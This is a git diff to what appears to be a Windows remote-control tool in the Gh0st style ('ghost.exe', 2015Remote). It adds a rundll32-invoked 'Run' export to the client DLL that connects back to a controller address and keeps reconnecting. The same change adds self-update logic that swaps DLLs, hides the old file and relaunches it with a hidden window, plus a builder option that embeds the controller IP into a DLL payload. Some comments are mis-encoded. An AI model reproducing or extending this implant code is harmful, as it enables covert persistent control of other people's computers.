diff --git a/ReadMe.md b/ReadMe.md index f70ea65..94a1508 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -299,7 +299,7 @@ reorg: Move commands to common/commands.h 增加显示被控程序"类型"的功能:如果被控程序为单个EXE则显示为"EXE",如果被控程序为EXE调用动态库形式,则显示为"DLL". 当前,只有类型为DLL的服务支持在线升级。本次提交借机对前一个更新中的"预留字段"进行了验证。 - +在动态链接库中增加导出函数Run,以便通过rundll32.exe调用动态链接库。这种形式也是支持在线对DLL进行升级的。 diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 6541c75..1ad0c02 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -7,6 +7,13 @@ #include #include "LoginServer.h" #include "KernelManager.h" +#include +#include +#include +#include +#include +#include +#include using namespace std; // Զעеֵ @@ -165,7 +172,10 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance, extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort) { g_bExit = FALSE; - g_SETTINGS.SetServer(szServerIP, uPort); + if (strlen(szServerIP)>0 && uPort>0) + { + g_SETTINGS.SetServer(szServerIP, uPort); + } g_SETTINGS.SetType(CLIENT_TYPE_DLL); HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL); @@ -173,7 +183,7 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort) return; } #ifdef _DEBUG - WaitForSingleObject(hThread, 200); + WaitForSingleObject(hThread, INFINITE); #else WaitForSingleObject(hThread, INFINITE); #endif @@ -189,6 +199,99 @@ extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; } // Ƿ˳ͻ extern "C" __declspec(dllexport) BOOL IsExit() { return g_bExit; } +// copy from: SimpleRemoter\client\test.cpp +// µDLL +void RunNewDll(const char* cmdLine) { + char path[_MAX_PATH], * p = path; + GetModuleFileNameA(NULL, path, sizeof(path)); + while (*p) ++p; + while ('\\' != *p) --p; + *(p + 1) = 0; + std::string folder = path; + std::string oldFile = folder + "ServerDll.old"; + std::string newFile = folder + "ServerDll.new"; + strcpy(p + 1, "ServerDll.dll"); + BOOL ok = TRUE; + if (_access(newFile.c_str(), 0) != -1) { + if (_access(oldFile.c_str(), 0) != -1) + { + if (!DeleteFileA(oldFile.c_str())) + { + std::cerr << "Error deleting file. Error code: " << GetLastError() << std::endl; + ok = FALSE; + } + } + if (ok && !MoveFileA(path, oldFile.c_str())) { + std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl; + if (_access(path, 0) != -1) + { + ok = FALSE; + } + } + else { + // ļΪ + if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN)) + { + std::cout << "File created and set to hidden: " << oldFile << std::endl; + } + } + if (ok && !MoveFileA(newFile.c_str(), path)) { + std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl; + MoveFileA(oldFile.c_str(), path);// recover + } + else if (ok) { + std::cout << "Using new file: " << newFile << std::endl; + } + } + char cmd[1024]; + sprintf_s(cmd, "%s,Run %s", path, cmdLine); + ShellExecuteA(NULL, "open", "rundll32.exe", cmd, NULL, SW_HIDE); +} + +/* пͻ˵ĺĴ. Ϊ嵼, rundll32 Լ. +HWND hwnd: ھͨΪ NULL +HINSTANCE hinst: DLL ʵ +LPSTR lpszCmdLine: вΪַݸ +int nCmdShow: ʾ״̬ +rundll32.exe ClientDemo.dll,Run 127.0.0.1:6543 +ȴвжȡַָʹȫֱȡ +*/ +extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) { + char message[256] = { 0 }; + if (strlen(lpszCmdLine) != 0) { + strcpy_s(message, lpszCmdLine); + }else if (g_SETTINGS.IsValid()) + { + sprintf_s(message, "%s:%d", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()); + } + + std::istringstream stream(message); + std::string item; + std::vector result; + while (std::getline(stream, item, ':')) { + result.push_back(item); + } + if (result.size() == 1) + { + result.push_back("80"); + } + if (result.size() != 2) { + MessageBox(hwnd, "ṩȷַ!", "ʾ", MB_OK); + return; + } + + do + { + TestRun((char*)result[0].c_str(), atoi(result[1].c_str())); + while (!IsStoped()) + Sleep(20); + } while (!IsExit()); + if (IsExit() == 1) + return; + sprintf_s(message, "%s:%d", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()); + RunNewDll(message); +} + #endif DWORD WINAPI StartClient(LPVOID lParam) diff --git a/client/ExportFunTable.def b/client/ExportFunTable.def index 5124b6c..0986979 100644 --- a/client/ExportFunTable.def +++ b/client/ExportFunTable.def @@ -1,3 +1,4 @@ EXPORTS TestRun StopRun + Run diff --git a/common/commands.h b/common/commands.h index bb31deb..e7687f4 100644 --- a/common/commands.h +++ b/common/commands.h @@ -140,6 +140,7 @@ enum #define CLIENT_TYPE_DLL 0 // ͻ˴DLL #define CLIENT_TYPE_ONE 1 // ͻ˴ԵEXE +#define CLIENT_TYPE_MODULE 2 // DLLⲿ // ӵسϢ typedef struct CONNECT_ADDRESS diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index e01bcce..801c683 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -54,7 +54,21 @@ void CBuildDlg::OnBnClickedOk() DWORD dwFileSize; UpdateData(TRUE); int index = m_ComboExe.GetCurSel(); - CString file = index == 0 ? "TestRun.exe" : (index == 1 ? "ghost.exe" : ""); + CString file; + switch (index) + { + case CLIENT_TYPE_DLL: + file = "TestRun.exe"; + break; + case CLIENT_TYPE_ONE: + file = "ghost.exe"; + break; + case CLIENT_TYPE_MODULE: + file = "ServerDll.dll"; + break; + default: + break; + } if (file.IsEmpty()) { MessageBox("Ч, ɷ!"); @@ -107,7 +121,13 @@ void CBuildDlg::OnBnClickedOk() } memcpy(szBuffer+iOffset,&g_ConnectAddress,sizeof(g_ConnectAddress)); //浽ļ - strcpy(p+1, "ClientDemo.exe"); + if (index == CLIENT_TYPE_MODULE) + { + strcpy(p + 1, "ClientDemo.dll"); + } + else { + strcpy(p + 1, "ClientDemo.exe"); + } strSeverFile = path; DeleteFileA(path); BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite); @@ -157,8 +177,9 @@ BOOL CBuildDlg::OnInitDialog() CDialog::OnInitDialog(); // TODO: ڴӶijʼ - m_ComboExe.InsertString(0, "TestRun.exe"); - m_ComboExe.InsertString(1, "ghost.exe"); + m_ComboExe.InsertString(CLIENT_TYPE_DLL, "TestRun.exe"); + m_ComboExe.InsertString(CLIENT_TYPE_ONE, "ghost.exe"); + m_ComboExe.InsertString(CLIENT_TYPE_MODULE, "ServerDll.dll"); m_ComboExe.SetCurSel(0); return TRUE; // return TRUE unless you set the focus to a control